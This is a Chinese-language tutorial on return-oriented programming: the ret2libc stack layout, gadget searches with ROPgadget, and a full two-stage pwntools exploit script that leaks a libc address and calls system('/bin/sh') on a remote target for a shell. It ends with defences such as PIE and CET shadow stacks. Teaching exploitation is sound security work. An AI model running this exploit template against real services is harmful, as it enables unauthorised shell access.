ROP 链构造思路(一):从 ret2libc 到基础 Gadget 搜寻与拼装
ROP 链构造思路(一):从 ret2libc 到基础 Gadget 搜寻与拼装

在现代操作系统的安全加固中,NX/DEP(No-Execute / 数据执行保护)使得堆栈等可写内存区域不再具备执行代码的权限。传统的“将 Shellcode 写入栈并跳转执行”的攻击方式彻底失效。为了绕过可执行权限限制,面向返回编程(ROP, Return-Oriented Programming)应运而生。
ROP 的核心思想是不注入新代码,而是复用目标二进制程序及其动态依赖库(如 libc)中既有的机器指令片段。这些以 ret(返回指令)结尾的代码片段被称为 Gadget。通过在栈上精心编排各个 Gadget 的地址与参数,攻击者可以像搭积木一样串联起完整的任意代码执行逻辑。
一、从 ret2text 到 ret2libc 的跃迁
在最基础的漏洞利用中,如果二进制程序本身包含未导出的调试函数(如 backdoor() 或 system("/bin/sh")),攻击者只需将栈上的返回地址覆盖为该函数地址(即 ret2text)。但在绝大多数生产发布版本中,程序不会自带后门。此时攻击者需要将视线转移到动态链接库——libc.so。
1. x86_64 函数调用约定与传参差异
构造 ROP 链前必须明确目标架构的调用规范:
- x86 (32位):函数参数通过栈传递。调用
system("/bin/sh")时,栈布局为:[system_addr] + [fake_return_addr] + [arg1_ptr]。 - x64 (64位 System V AMD64 ABI):前 6 个整数参数依次通过通用寄存器传递:
RDI,RSI,RDX,RCX,R8,R9。因此在 64 位程序中调用system(rdi)之前,必须先找到一个将栈顶数据弹入RDI的 Gadget,即pop rdi; ret。
64 位 ret2libc 栈构造模型:
栈顶 (低地址) +-----------------------------------+
| Gadget 1: pop rdi; ret 地址 | <--- 覆盖原返回地址
+-----------------------------------+
| 参数: "/bin/sh" 字符串内存地址 | <--- pop rdi 取出的值
+-----------------------------------+
| Gadget 2: ret (用于 16 字节对齐) | <--- 满足 SSE 指令集对齐
+-----------------------------------+
| 函数: system() 在 libc 中的实际地址| <--- 跳转执行目标逻辑
栈底 (高地址) +-----------------------------------+
二、基础 Gadget 的搜索与提取
在实际对抗中,我们通常使用工具(如 ROPgadget 或 ropper)在 ELF 二进制文件及依赖库中检索有价值的指令片段。
1. 核心控制类 Gadget
- 参数装载 Gadget:
pop rdi; ret、pop rsi; pop r15; ret、pop rdx; ret - 内存读写 Gadget:
mov [rdi], rsi; ret(用于将任意数据写入全局可写段如.bss) - 算术与状态重置:
xor eax, eax; ret、add rax, rbx; ret
# 在 libc 中搜索 pop rdi 指令
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
# 0x000000000002a3e5 : pop rdi ; ret
# 搜索 /bin/sh 字符串偏移
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
# 1d8678 /bin/sh
三、利用 pwntools 组装完整的 ROP Exploit 链
在开启了 ASLR(地址空间布局随机化)的环境下,libc 在每次程序启动时的加载基址都是随机的。标准的利用需要分为两阶段:
- 阶段一(信息泄露):利用程序自带的打印函数(如
puts或write)输出全局偏移表(GOT, Global Offset Table)中已解析的函数地址,计算出当前进程的libc_base。 - 阶段二(提权执行):获得真实 libc 基址后,重新将控制流导回易损函数,构造
system("/bin/sh")的完整执行链。
from pwn import *
# 配置目标环境架构
context.arch = 'amd64'
context.os = 'linux'
def build_rop_exploit(target_binary: str, host: str, port: int):
elf = ELF(target_binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = remote(host, port)
# 关键符号与 Gadget 偏移定义
offset = 72 # 栈溢出到达返回地址的字节偏移
pop_rdi_ret = 0x40120b # 程序本身的 Gadget (未开启 PIE)
ret_gadget = 0x40101a # 栈对齐 Gadget
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_func = elf.symbols['main']
# --- 阶段一:泄露 puts 在 libc 中的真实地址 ---
payload_leak = flat([
b'A' * offset,
pop_rdi_ret,
puts_got,
puts_plt,
main_func # 重新回到 main 函数,保持进程存活
])
p.sendlineafter(b"Input: ", payload_leak)
leak_raw = p.recvline().strip()
puts_leak_addr = u64(leak_raw.ljust(8, b'\x00'))
# 计算 libc 真实基址
libc.address = puts_leak_addr - libc.symbols['puts']
print(f"[+] 成功泄露 libc 基址: {hex(libc.address)}")
# --- 阶段二:构造 system("/bin/sh") 调用链 ---
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
payload_exec = flat([
b'A' * offset,
ret_gadget, # 栈对齐(Ubuntu 18.04+ system 函数内部 movaps 需要 rsp & 0xF == 0)
pop_rdi_ret,
binsh_addr,
system_addr
])
p.sendlineafter(b"Input: ", payload_exec)
p.interactive() # 获得交互式 Shell
四、防御与对抗阻断方案
针对 ROP 攻击的底层依赖,现代防御体系在软硬件层面建立了立体阻断能力:
- 全面开启 PIE(位置无关可执行文件):确保主程序二进制代码段同样被随机化,使攻击者无法直接利用主程序的静态 Gadget。
- 硬件级控制流完整性(Intel CET / Shadow Stack):现代 CPU(如 Intel Tiger Lake 及以上)引入影子栈(Shadow Stack)技术。当函数调用时,返回地址会被同时压入物理主栈和由硬件特权管理的只读影子栈;当执行
ret时,硬件比对两栈地址,若发生 ROP 篡改立即触发#CP(Control Protection)异常。 - 细粒度 ASLR 与指针重排:在内核加载与编译阶段打乱动态库内部函数与基本块的相对顺序,破坏离线搜寻的 Gadget 链条。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)